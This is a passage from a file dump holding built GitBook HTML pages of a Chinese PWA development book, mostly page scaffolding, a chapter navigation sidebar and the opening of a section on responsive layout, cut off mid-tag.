HH:mm:ss\",\"update_label\":\"该文件修订时间：\"},\"splitter\":{},\"sharing-plus\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\"],\"douban\":false,\"facebook\":true,\"weibo\":false,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":true,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":true,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":false},\"fontsettings\":{\"theme\":\"white\",\"family\":\"sans\",\"size\":2},\"sectionx\":{\"tag\":\"b\"},\"anchor-navigation-ex\":{\"mode\":\"float\",\"pageTop\":{\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false},\"isRewritePageTitle\":false,\"showLevel\":false,\"tocLevel1Icon\":\"fa fa-hand-o-right\",\"tocLevel2Icon\":\"fa fa-hand-o-right\",\"tocLevel3Icon\":\"fa fa-hand-o-right\",\"showGoTop\":true,\"printLog\":false,\"multipleH1\":true,\"associatedWithSummary\":true,\"float\":{\"floatIcon\":\"fa fa-navicon\",\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false}},\"favicon\":{\"shortcut\":\"favicon.ico\",\"bookmark\":\"favicon.ico\"},\"prism-themes\":{},\"3-ba\":{\"configuration\":\"auto\",\"token\":\"c45e843439f6364ead89fd505f1abb68\"},\"expandable-chapters-small\":{},\"local-video\":{},\"advanced-emoji\":{\"embedEmojis\":false},\"include-codeblock\":{\"check\":false,\"edit\":true,\"fixlang\":false,\"lang\":\"\",\"template\":\"ace\",\"theme\":\"chrome\",\"unindent\":true},\"sharing\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"weibo\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\",\"qq\",\"qzone\"],\"douban\":true,\"facebook\":false,\"weibo\":true,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":false,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":false,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":true},\"terminal\":{\"copyButtons\":true,\"fade\":false,\"style\":\"flat\"},\"edit-link\":{\"label\":\"编辑此页\",\"base\":\"https://github.com/lavas-project/pwa-book/edit/master\"},\"theme-default\":{\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"showLevel\":false},\"anchors\":{},\"chart\":{\"type\":\"c3\"},\"search-plus\":{}},\"theme\":\"default\",\"author\":\"lavas <lavas@baidu.com>\",\"pdf\":{\"pageNumbers\":true,\"fontSize\":12,\"fontFamily\":\"Arial\",\"paperSize\":\"a4\",\"chapterMark\":\"pagebreak\",\"pageBreaksBefore\":\"/\",\"margin\":{\"right\":62,\"left\":62,\"top\":56,\"bottom\":56}},\"structure\":{\"langs\":\"LANGS.md\",\"readme\":\"README.md\",\"glossary\":\"GLOSSARY.md\",\"summary\":\"SUMMARY.md\"},\"variables\":{},\"title\":\"PWA 应用实战\",\"language\":\"zh-hans\",\"gitbook\":\"3.2.3\",\"description\":\"PWA 开发实战\"},\"file\":{\"path\":\"chapter02/4-app-skeleton.md\",\"mtime\":\"2019-06-19T10:37:41.999Z\",\"type\":\"markdown\"},\"gitbook\":{\"version\":\"3.2.3\",\"time\":\"2019-06-19T10:40:03.787Z\"},\"basePath\":\"..\",\"book\":{\"language\":\"\"}});\n        });\n    </script>\n</div>\n\n        \n    <script src=\"../gitbook/gitbook.js\"></script>\n    <script src=\"../gitbook/theme.js\"></script>\n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/jquery.mark.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/search.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sharing-plus/buttons.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-splitter/splitter.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.js\"></script>\n        \n    \n        \n        <script src=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sectionx/sectionx.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-local-video/video.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-edit-link/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-3-ba/plugin.js\"></script>\n        \n    \n        \n        <script src=\"https://cdnjs.cloudflare.com/ajax/libs/URI.js/1.16.1/URI.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-disqus/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-github/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-fontsettings/fontsettings.js\"></script>\n        \n    \n\n    </body>\n</html>\n\n"
  },
  {
    "path": "docs/chapter02/5-responsive-design.html",
    "content": "\n<!DOCTYPE HTML>\n<html lang=\"zh-hans\" >\n    <head>\n        <meta charset=\"UTF-8\">\n        <meta content=\"text/html; charset=utf-8\" http-equiv=\"Content-Type\">\n        <title>2.5 响应式布局 · PWA 应用实战</title>\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\" />\n        <meta name=\"description\" content=\"\">\n        <meta name=\"generator\" content=\"GitBook 3.2.3\">\n        <meta name=\"author\" content=\"lavas <lavas@baidu.com>\">\n        \n        \n    \n    <link rel=\"stylesheet\" href=\"../gitbook/style.css\">\n\n    \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchors/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-search-plus/search.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-prism/prism-okaidia.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-advanced-emoji/emoji-website.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-ace/ace.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-emphasize/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-splitter/splitter.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-page-footer-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-sectionx/sectionx.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-local-video/video-js.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchor-navigation-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-disqus/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-fontsettings/website.css\">\n                \n            \n        \n\n    \n\n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n\n        \n    \n    \n    \n    \n    <meta name=\"HandheldFriendly\" content=\"true\"/>\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, user-scalable=no\">\n    <meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\n    <meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black\">\n    <link rel=\"apple-touch-icon-precomposed\" sizes=\"152x152\" href=\"../gitbook/images/apple-touch-icon-precomposed-152.png\">\n    <link rel=\"shortcut icon\" href=\"../gitbook/images/favicon.ico\" type=\"image/x-icon\">\n\n    \n    <link rel=\"next\" href=\"../chapter03.html\" />\n    \n    \n    <link rel=\"prev\" href=\"4-app-skeleton.html\" />\n    \n\n    \n    <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-chart/c3/c3.min.css\">\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/d3.min.js\"></script>\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/c3.min.js\"></script>\n    \n\n    \n        <link rel=\"shortcut icon\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n        <link rel=\"bookmark\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n    \n\n    </head>\n    <body>\n        \n<div class=\"book\">\n    <div class=\"book-summary\">\n        \n            \n<div id=\"book-search-input\" role=\"search\">\n    <input type=\"text\" placeholder=\"输入并搜索\" />\n</div>\n\n            \n                <nav role=\"navigation\">\n                \n\n\n<ul class=\"summary\">\n    \n    \n\n    \n\n    \n        \n        \n    \n        <li class=\"chapter \" data-level=\"1.1\" data-path=\"../\">\n            \n                <a href=\"../\">\n            \n                    \n                    HOME\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2\" data-path=\"../chapter01.html\">\n            \n                <a href=\"../chapter01.html\">\n            \n                    \n                    第1章 PWA 介绍\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.2.1\" data-path=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                <a href=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                    \n                    1.1 为什么会出现 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.2\" data-path=\"../chapter01/2-what-is-pwa.html\">\n            \n                <a href=\"../chapter01/2-what-is-pwa.html\">\n            \n                    \n                    1.2 什么是 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.3\" data-path=\"../chapter01/3-what-are-key-techs.html\">\n            \n                <a href=\"../chapter01/3-what-are-key-techs.html\">\n            \n                    \n                    1.3 PWA 的核心技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.4\" data-path=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                <a href=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                    \n                    1.4 PWA 的发展\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.5\" data-path=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                <a href=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                    \n                    1.5 PWA 的未来\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.6\" data-path=\"../chapter01/6-your-first-pwa.html\">\n            \n                <a href=\"../chapter01/6-your-first-pwa.html\">\n            \n                    \n                    1.6 你的第一个 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3\" data-path=\"../chapter02.html\">\n            \n                <a href=\"../chapter02.html\">\n            \n                    \n                    第2章 设计与体验\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.3.1\" data-path=\"1-what-is-good-ux.html\">\n            \n                <a href=\"1-what-is-good-ux.html\">\n            \n                    \n                    2.1 什么是好的用户体验\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.2\" data-path=\"2-design-and-tech.html\">\n            \n                <a href=\"2-design-and-tech.html\">\n            \n                    \n                    2.2 设计与技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.3\" data-path=\"3-app-shell.html\">\n            \n                <a href=\"3-app-shell.html\">\n            \n                    \n                    2.3 App Shell\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.4\" data-path=\"4-app-skeleton.html\">\n            \n                <a href=\"4-app-skeleton.html\">\n            \n                    \n                    2.4 骨架屏\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter active\" data-level=\"1.3.5\" data-path=\"5-responsive-design.html\">\n            \n                <a href=\"5-responsive-design.html\">\n            \n                    \n                    2.5 响应式布局\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4\" data-path=\"../chapter03.html\">\n            \n                <a href=\"../chapter03.html\">\n            \n                    \n                    第3章 基础技术简介\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.4.1\" data-path=\"../chapter03/1-promise.html\">\n            \n                <a href=\"../chapter03/1-promise.html\">\n            \n                    \n                    3.1 Promise\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.2\" data-path=\"../chapter03/2-async-function.html\">\n            \n                <a href=\"../chapter03/2-async-function.html\">\n            \n                    \n                    3.2 Async 函数\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.3\" data-path=\"../chapter03/3-fetch-api.html\">\n            \n                <a href=\"../chapter03/3-fetch-api.html\">\n            \n                    \n                    3.3 Fetch API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.4\" data-path=\"../chapter03/4-cache-api.html\">\n            \n                <a href=\"../chapter03/4-cache-api.html\">\n            \n                    \n                    3.4 Cache API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.5\" data-path=\"../chapter03/5-indexeddb.html\">\n            \n                <a href=\"../chapter03/5-indexeddb.html\">\n            \n                    \n                    3.5 IndexedDB\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5\" data-path=\"../chapter04.html\">\n            \n                <a href=\"../chapter04.html\">\n            \n                    \n                    第4章 Service Worker\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.5.1\" data-path=\"../chapter04/1-service-worker-introduction.html\">\n            \n                <a href=\"../chapter04/1-service-worker-introduction.html\">\n            \n                    \n                    4.1 Service Worker 简介\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.2\" data-path=\"../chapter04/2-service-worker-register.html\">\n            \n                <a href=\"../chapter04/2-service-worker-register.html\">\n            \n                    \n                    4.2 Service Worker 注册\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.3\" data-path=\"../chapter04/3-service-worker-dive.html\">\n            \n                <a href=\"../chapter04/3-service-worker-dive.html\">\n            \n                    \n                    4.3 Service Worker 工作原理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.4\" data-path=\"../chapter04/4-service-worker-debug.html\">\n            \n                <a href=\"../chapter04/4-service-worker-debug.html\">\n            \n                    \n                    4.4 Service Worker 调试\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6\" data-path=\"../chapter05.html\">\n            \n                <a href=\"../chapter05.html\">\n            \n                    \n                    第5章 离线与缓存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.6.1\" data-path=\"../chapter05/1-fetch-event-management.html\">\n            \n                <a href=\"../chapter05/1-fetch-event-management.html\">\n            \n                    \n                    5.1 资源请求的拦截代理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.2\" data-path=\"../chapter05/2-local-storage-management.html\">\n            \n                <a href=\"../chapter05/2-local-storage-management.html\">\n            \n                    \n                    5.2 本地存储管理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.3\" data-path=\"../chapter05/3-respond-strategy.html\">\n            \n                <a href=\"../chapter05/3-respond-strategy.html\">\n            \n                    \n                    5.3 资源请求响应策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.4\" data-path=\"../chapter05/4-precache.html\">\n            \n                <a href=\"../chapter05/4-precache.html\">\n            \n                    \n                    5.4 预缓存方案\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.5\" data-path=\"../chapter05/5-workbox.html\">\n            \n                <a href=\"../chapter05/5-workbox.html\">\n            \n                    \n                    5.5 使用 Workbox\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7\" data-path=\"../chapter06.html\">\n            \n                <a href=\"../chapter06.html\">\n            \n                    \n                    第6章 用户留存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.7.1\" data-path=\"../chapter06/1-manifest-json.html\">\n            \n                <a href=\"../chapter06/1-manifest-json.html\">\n            \n                    \n                    6.1 Web 应用清单\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.2\" data-path=\"../chapter06/2-credentials-api.html\">\n            \n                <a href=\"../chapter06/2-credentials-api.html\">\n            \n                    \n                    6.2 凭证管理 API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.3\" data-path=\"../chapter06/3-notification-api.html\">\n            \n                <a href=\"../chapter06/3-notification-api.html\">\n            \n                    \n                    6.3 桌面通知\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.4\" data-path=\"../chapter06/4-web-push-api.html\">\n            \n                <a href=\"../chapter06/4-web-push-api.html\">\n            \n                    \n                    6.4 网络推送\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.5\" data-path=\"../chapter06/5-payment-request-api.html\">\n            \n                <a href=\"../chapter06/5-payment-request-api.html\">\n            \n                    \n                    6.5 Payment Request API\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8\" data-path=\"../chapter07.html\">\n            \n                <a href=\"../chapter07.html\">\n            \n                    \n                    第7章 安全\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.8.1\" data-path=\"../chapter07/1-https.html\">\n            \n                <a href=\"../chapter07/1-https.html\">\n            \n                    \n                    7.1 使用 HTTPS 保护站点安全\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.2\" data-path=\"../chapter07/2-CSP.html\">\n            \n                <a href=\"../chapter07/2-CSP.html\">\n            \n                    \n                    7.2 内容安全策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.3\" data-path=\"../chapter07/3-policy.html\">\n            \n                <a href=\"../chapter07/3-policy.html\">\n            \n                    \n                    7.3 同源策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.4\" data-path=\"../chapter07/4-vulnerability.html\">\n            \n                <a href=\"../chapter07/4-vulnerability.html\">\n            \n                    \n                    7.4 典型的安全漏洞\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9\" data-path=\"../chapter08.html\">\n            \n                <a href=\"../chapter08.html\">\n            \n                    \n                    第8章 性能\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.9.1\" data-path=\"../chapter08/1-loading-performance.html\">\n            \n                <a href=\"../chapter08/1-loading-performance.html\">\n            \n                    \n                    8.1 加载性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9.2\" data-path=\"../chapter08/2-rendering-performance.html\">\n            \n                <a href=\"../chapter08/2-rendering-performance.html\">\n            \n                    \n                    8.2 渲染性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10\" data-path=\"../chapter09.html\">\n            \n                <a href=\"../chapter09.html\">\n            \n                    \n                    第9章 PWA 与搜索\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.10.1\" data-path=\"../chapter09/1-search-engine-index.html\">\n            \n                <a href=\"../chapter09/1-search-engine-index.html\">\n            \n                    \n                    9.1 搜索引擎收录\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.2\" data-path=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                    \n                    9.2 PWA 与 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.3\" data-path=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                    \n                    9.3 全站 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.4\" data-path=\"../chapter09/4-preload-pwa.html\">\n            \n                <a href=\"../chapter09/4-preload-pwa.html\">\n            \n                    \n                    9.4 AMP/MIP 预加载 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11\" data-path=\"../appendix01.html\">\n            \n                <a href=\"../appendix01.html\">\n            \n                    \n                    附录1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.11.1\" data-path=\"../appendix01/1-lighthouse.html\">\n            \n                <a href=\"../appendix01/1-lighthouse.html\">\n            \n                    \n                    1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.2\" data-path=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                <a href=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                    \n                    2 Lighthouse 评分指南\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.3\" data-path=\"../appendix01/3-lighthouse-case.html\">\n            \n                <a href=\"../appendix01/3-lighthouse-case.html\">\n            \n                    \n                    3 Lighthouse 使用案例\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.12\" data-path=\"../thanks.html\">\n            \n                <a href=\"../thanks.html\">\n            \n                    \n                    感谢\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n    \n\n    <li class=\"divider\"></li>\n\n    <li>\n        <a href=\"https://www.gitbook.com\" target=\"blank\" class=\"gitbook-link\">\n            本书使用 GitBook 发布\n        </a>\n    </li>\n</ul>\n\n\n                </nav>\n            \n        \n    </div>\n\n    <div class=\"book-body\">\n        \n            <div class=\"body-inner\">\n                \n                    \n\n<div class=\"book-header\" role=\"navigation\">\n    \n\n    <!-- Title -->\n    <h1>\n        <i class=\"fa fa-circle-o-notch fa-spin\"></i>\n        <a href=\"..\" >2.5 响应式布局</a>\n    </h1>\n</div>\n\n\n\n\n                    <div class=\"page-wrapper\" tabindex=\"-1\" role=\"main\">\n                        <div class=\"page-inner\">\n                            \n<div class=\"search-plus\" id=\"book-search-results\">\n    <div class=\"search-noresults\">\n    \n                                <section class=\"normal markdown-section\">\n                                \n                                <div id=\"anchor-navigation-ex-navbar\"><i class=\"fa fa-navicon\"></i><ul><li><span class=\"title-icon \"></span><a href=\"#&#x54CD;&#x5E94;&#x5F0F;&#x5E03;&#x5C40;\"><b></b>&#x54CD;&#x5E94;&#x5F0F;&#x5E03;&#x5C40;</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#&#x5F00;&#x59CB;&#x4E4B;&#x524D;\"><b></b>&#x5F00;&#x59CB;&#x4E4B;&#x524D;</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#&#x50CF;&#x7D20;\"><b></b>&#x50CF;&#x7D20;</a></li><li><span class=\"title-icon \"></span><a href=\"#em-vs-rem\"><b></b>EM vs REM</a></li><li><span class=\"title-icon \"></span><a href=\"#vw-vh&#xFF0C;&#x767E;&#x5206;&#x6BD4;\"><b></b>vw, vh&#xFF0C;&#x767E;&#x5206;&#x6BD4;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x5F39;&#x6027;&#x6846;\"><b></b>&#x5F39;&#x6027;&#x6846;</a></li></ul><li><span class=\"title-icon \"></span><a href=\"#&#x8BBE;&#x7F6E;-viewport\"><b></b>&#x8BBE;&#x7F6E; viewport</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x786E;&#x4FDD;&#x5185;&#x5BB9;&#x4E0D;&#x4F1A;&#x8D85;&#x51FA;-viewport\"><b></b>&#x786E;&#x4FDD;&#x5185;&#x5BB9;&#x4E0D;&#x4F1A;&#x8D85;&#x51FA; viewport</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x4F7F;&#x7528;&#x5A92;&#x4F53;&#x67E5;&#x8BE2;\"><b></b>&#x4F7F;&#x7528;&#x5A92;&#x4F53;&#x67E5;&#x8BE2;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x6700;&#x4F73;&#x5B9E;&#x8DF5;\"><b></b>&#x6700;&#x4F73;&#x5B9E;&#x8DF5;</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#&#x54CD;&#x5E94;&#x5F0F;&#x6587;&#x5B57;\"><b></b>&#x54CD;&#x5E94;&#x5F0F;&#x6587;&#x5B57;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x54CD;&#x5E94;&#x5F0F;&#x56FE;&#x7247;\"><b></b>&#x54CD;&#x5E94;&#x5F0F;&#x56FE;&#x7247;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x54CD;&#x5E94;&#x5F0F;&#x5E03;&#x5C40;_1\"><b></b>&#x54CD;&#x5E94;&#x5F0F;&#x5E03;&#x5C40;</a></li></ul><li><span class=\"title-icon \"></span><a href=\"#&#x603B;&#x7ED3;\"><b></b>&#x603B;&#x7ED3;</a></li></ul></ul></div><a href=\"#&#x54CD;&#x5E94;&#x5F0F;&#x5E03;&#x5C40;\" id=\"anchorNavigationExGoTop\"><i class=\"fa fa-arrow-up\"></i></a><h1 id=\"&#x54CD;&#x5E94;&#x5F0F;&#x5E03;&#x5C40;\"><a name=\"&#x54CD;&#x5E94;&#x5F0F;&#x5E03;&#x5C40;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x54CD;&#x5E94;&#x5F0F;&#x5E03;&#x5C40;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x54CD;&#x5E94;&#x5F0F;&#x5E03;&#x5C40;\" class=\"plugin-anchor\" href=\"#&#x54CD;&#x5E94;&#x5F0F;&#x5E03;&#x5C40;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x54CD;&#x5E94;&#x5F0F;&#x5E03;&#x5C40;</h1>\n<p>&#x81EA;&#x4ECE;&#x8FDB;&#x5165;&#x79FB;&#x52A8;&#x4E92;&#x8054;&#x7F51;&#x65F6;&#x4EE3;&#xFF0C;&#x54CD;&#x5E94;&#x5F0F;&#x5E03;&#x5C40;&#x8FD9;&#x4E2A;&#x8BCD;&#x7ECF;&#x5E38;&#x51FA;&#x73B0;&#x5728; Web &#x8BBE;&#x8BA1;&#x548C;&#x5F00;&#x53D1;&#x9886;&#x57DF;&#xFF0C;&#x5B83;&#x8BA9; Web &#x9875;&#x9762;&#x5728;&#x4E0D;&#x540C;&#x5C3A;&#x5BF8;&#x7684;&#x8BBE;&#x5907;&#x4E0A;&#x90FD;&#x5177;&#x6709;&#x826F;&#x597D;&#x7684;&#x6D4F;&#x89C8;&#x4F53;&#x9A8C;&#x3002;</p>\n<h2 id=\"&#x5F00;&#x59CB;&#x4E4B;&#x524D;\"><a name=\"&#x5F00;&#x59CB;&#x4E4B;&#x524D;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x5F00;&#x59CB;&#x4E4B;&#x524D;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x5F00;&#x59CB;&#x4E4B;&#x524D;\" class=\"plugin-anchor\" href=\"#&#x5F00;&#x59CB;&#x4E4B;&#x524D;\"><i class=\"fa fa-link\" 